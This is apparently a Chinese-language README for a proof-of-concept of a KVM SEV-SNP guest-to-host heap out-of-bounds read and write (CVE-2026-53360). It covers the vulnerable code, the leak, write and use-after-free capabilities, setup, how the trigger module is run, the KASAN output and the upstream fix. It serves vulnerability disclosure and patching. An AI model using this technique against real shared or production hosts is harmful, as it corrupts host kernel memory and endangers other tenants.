KVM 中 SEV-SNP 页面状态变更 (PSC) 处理的一个堆越界读取和写入概念验证。恶意 SEV-SNP 客户机使主机内核遍历 PSC 条目数组超出其 slab 分配末端。这会泄露相邻 kmalloc-cg-32 对象的布局,并向其中写入受控的小值,且客户机可以任意重复此操作。
完整文章:https://cyberstan.co.uk/sev-snp-oob/
| CVE | CVE-2026-53360 |
| 组件 | KVM SNP 主机支持,arch/x86/kvm/svm/sev.c |
| 引入 | 9b54e248d264 (首次 KVM SNP PSC 处理,2024年5月,~v6.10) |
| 修复 | db3f219 (主线,2026年5月,Cc: stable),标记为 Fixes: 4af663c |
| 报告 | [email protected],2026年4月8日 |
| 影响 | 仅 SEV-SNP 主机路径。KVM 不启用普通 SEV-ES 客户机的 PSC。 |
任意 SEV-SNP 客户机可以通过发送畸形的 PSC 请求破坏主机内核堆并回读其布局信息。这是从客户机到主机的方向:SEV-SNP 旨在保护客户机免受不可信主机的攻击,但主机仍然需要防御恶意客户机,而这个处理程序没有做到。
需要真实的 SEV-SNP 硬件。无法在 Intel 上复现,嵌套虚拟化也无法提供 SNP 客户机。
硬件:
*.metal、Hetzner AX 等)。主机内核:
CONFIG_KASAN=y
CONFIG_KASAN_GENERIC=y
CONFIG_KVM=y
CONFIG_KVM_AMD=y
CONFIG_KVM_AMD_SEV=y
CONFIG_CRYPTO_DEV_SP_PSP=y
kvm_amd.sev=1 kvm_amd.sev_es=1 kvm_amd.sev_snp=1 kasan_multi_shot
cat /sys/module/kvm_amd/parameters/sev_snp # Y
ls /dev/sev # /dev/sev
主机用户空间:
git clone https://github.com/AMDESE/qemu.git
cd qemu && git checkout snp-latest
mkdir build && cd build
../configure --target-list=x86_64-softmmu && make -j$(nproc)
客户机:
build-essential 和 linux-headers-$(uname -r),以便在其中构建模块。SEV-SNP 客户机通过 GHCB(一个 4 KB 共享页面)与主机通信。PSC 请求将 SW_EXITCODE 设置为 SVM_VMGEXIT_PSC (0x80000010),将 SW_SCRATCH 指向一个描述符,并将描述符长度放入 SW_EXITINFO2。
描述符是一个 struct psc_buffer:一个 8 字节头部后跟一个 8 字节条目数组。没有明确的数量字段。主机从 hdr->cur_entry 到 hdr->end_entry 处理条目,两者均由客户机控制。
struct psc_hdr {
u16 cur_entry;
u16 end_entry;
u32 reserved;
} __packed; /* 8 bytes */
struct psc_entry {
u64 cur_page : 12;
u64 gfn : 40;
u64 operation : 4;
u64 pagesize : 1;
u64 reserved : 7;
} __packed; /* 8 bytes */
GHCB v2+ 客户机应将其暂存区域保持在 GHCB 的 2032 字节共享缓冲区内部,以便主机可以重用其现有映射。(2032 - 8) / 8 = 253 个条目适合那里,这就是协议最大值 VMGEXIT_PSC_MAX_COUNT (253) 的来源。这个数字仅在缓冲区确实是共享缓冲区时才有意义。
如果客户机将暂存区域指向 GHCB 外部,主机无法使用其映射,因此 setup_vmgexit_scratch() 会分配一个单独缓冲区,大小由客户机请求决定。SNP 绝不应该走这条路径,但没有任何东西阻止它:
scratch_va = kvzalloc(len, GFP_KERNEL_ACCOUNT); /* len == exit_info_2, guest-controlled */
len 直接来自客户机,GFP_KERNEL_ACCOUNT 将分配放入 cgroup 记账的 kmalloc-cg-N 缓存。请求 exit_info_2 = 24,你将获得 32 字节 kmalloc-cg-32 槽中的一个 24 字节分配:头部加上两个条目的空间。entries[1] 之后的所有内容都是另一个对象的内存。
然后 snp_begin_psc() 检查条目计数是否超过协议常量,而不是针对它实际分配的缓冲区:
idx_end = hdr->end_entry;
if (idx_end >= VMGEXIT_PSC_MAX_COUNT) { /* 检查 253,而非缓冲区大小 */
snp_complete_psc(svm, ...);
return 1;
}
for (idx = idx_start; idx <= idx_end; idx++) {
entry_start = entries[idx]; /* 一旦 idx >= 2 就越界 */
...
}
对于只有两个条目的 24 字节缓冲区,检查却允许 end_entry 高达 252。将其设置为 252,循环将遍历分配之外约 2 KB,跨越相邻的 slab 对象。
超出末端的每一步都将 slab 内存的下 8 个字节重新解释为 psc_entry,并通过 PSC 代码处理。这提供了三种能力:
entry.gfn 和 entry.operation。这是 KASAN 捕获的 slab 越界读取。KVM_HC_MAP_GPA_RANGE,完成代码会写回相同的越界槽:entries[idx].cur_page = entry.pagesize ? 512 : 1。两个小值之一写入客户机选择的字的低 12 位,可重复。SW_EXITINFO2 中的响应会报告停止处的索引。一次只增加一个 end_entry,逐槽泄露相邻内存解码为无操作还是失败,这足以找到对象边界并区分零和非零。每次 VMGEXIT 都会重新分配暂存缓冲区,因此重复请求会落在不同的空闲列表槽中,让客户机扫描相邻区域而不是卡在一个位置。综合起来,这实现了堆布局泄露、上述受限写入以及跨请求的释放后使用。
trigger.c 是一个客户机内核模块。在 SEV-SNP 客户机内部加载它,它会在单个 insmod 中驱动四个阶段来攻击主机:
cur_page 写入零相邻区域并确认稍后的请求跳过它,证明越界写入在 VMGEXIT 之间持续存在。end_entry=200 的请求,并测量越界读取在遇到非零数据之前到达多远。entries[3..10] 越界,每个请求都会在主机关触发 KASAN 报告。模块分配一个页面,使用 set_memory_decrypted() 将其标记为解密,用作暂存区域,并手动构建 GHCB PSC 请求。它以 -EAGAIN 退出,因此不会保持加载状态。
根据你的设置调整 OVMF 和磁盘路径:
qemu-system-x86_64 \
-enable-kvm -cpu EPYC-v4 \
-machine q35,confidential-guest-support=sev0,memory-backend=ram1 \
-object memory-backend-memfd,id=ram1,size=4G \
-object sev-snp-guest,id=sev0,cbitpos=51,reduced-phys-bits=1,policy=0x30000 \
-smp 4 -m 4G \
-bios OVMF_SNP.fd \
-drive file=guest.qcow2,format=qcow2,if=virtio \
-netdev user,id=net0,hostfwd=tcp::2222-:22 \
-device virtio-net-pci,netdev=net0 \
-nographic
将 trigger.c 和 Makefile 复制到客户机中,然后:
make
insmod trigger.ko
模块首先通过 CPUID 检查 SEV-SNP,拒绝在其他任何地方运行。它执行四个阶段并自行卸载(init 返回 -EAGAIN,因此它永远不会驻留)。
在主机上:
dmesg | grep -E "KASAN|BUG|snp_begin_psc"
预期输出:
BUG: KASAN: slab-out-of-bounds in snp_begin_psc+0x126/0x890
Read of size 8 at addr ffff888219ffb5e0 by task qemu-system-x86/2199
BUG: KASAN: slab-out-of-bounds in snp_begin_psc+0x468/0x890
Write of size 8 at addr ffff888351566648 by task qemu-system-x86/2199
The buggy address belongs to the object at ffff888XXXXXXXXX
which belongs to the cache kmalloc-cg-32 of size 32
单个 insmod 在测试主机上产生了 73 个 KASAN 报告(62 个 slab-out-of-bounds,7 个 slab-use-after-free,4 个 use-after-free),全部针对 kmalloc-cg-32。测试主机:AMD EPYC 7443P,Ubuntu 24.04.4,内核 6.11.11 带 KASAN,客户机使用 AMDESE QEMU(snp-latest)。
上游修复在 setup_vmgexit_scratch() 中拒绝任何超出 GHCB 的暂存区域(针对 GHCB v2 及更高版本),这将缓冲区固定为固定已知大小,从而循环永远不会跑出末端:
} else {
+ /* GHCB v2 要求暂存区域位于 GHCB 内部。 */
+ if (to_kvm_sev_info(svm->vcpu.kvm)->ghcb_version >= 2)
+ goto e_scratch;
+
/*
* 客户机内存必须读入内核缓冲区,因此
* 限制大小
这四行是 db3f219。它们作为一个更大系列的一部分落地,该系列还根据实际缓冲区大小限制条目计数,并通过 READ_ONCE() 重新读取描述符,关闭了同一处理程序中的偏移到缓冲区变体和检查时间/使用时间竞争。
| 文件 | 描述 |
|---|---|
trigger.c | 驱动四个 PoC 阶段的客户机内核模块 |
Makefile | 针对运行中的客户机内核构建 trigger.ko |
LICENSE | GPL-2.0,与模块的 MODULE_LICENSE 一致 |
not an SEV-SNP guest:QEMU 未使用 sev-snp-guest 启动,或主机 SNP 已关闭。SEV-SNP not supported:检查 /sys/module/kvm_amd/parameters/sev_snp、BIOS 设置和启动参数。LAUNCH_START failed:PSP 未初始化。检查 dmesg | grep psp 和 CONFIG_CRYPTO_DEV_SP_PSP=y。CONFIG_KASAN=y 和 kasan_multi_shot。这会破坏主机内核堆内存,触发 KASAN,并可能使主机崩溃。只在你控制的、一次性测试主机上运行,且仅在你拥有的虚拟机内部。不要在共享或生产基础设施上运行。
db3f219)db3f219,作者 Mike Roth,审查者 Tom Lendacky,提交者 Paolo Bonzini9b54e248d264;修复标记为 Fixes: 4af663ctrigger.c 是 GPL-2.0,与其 MODULE_LICENSE 一致。参见 LICENSE。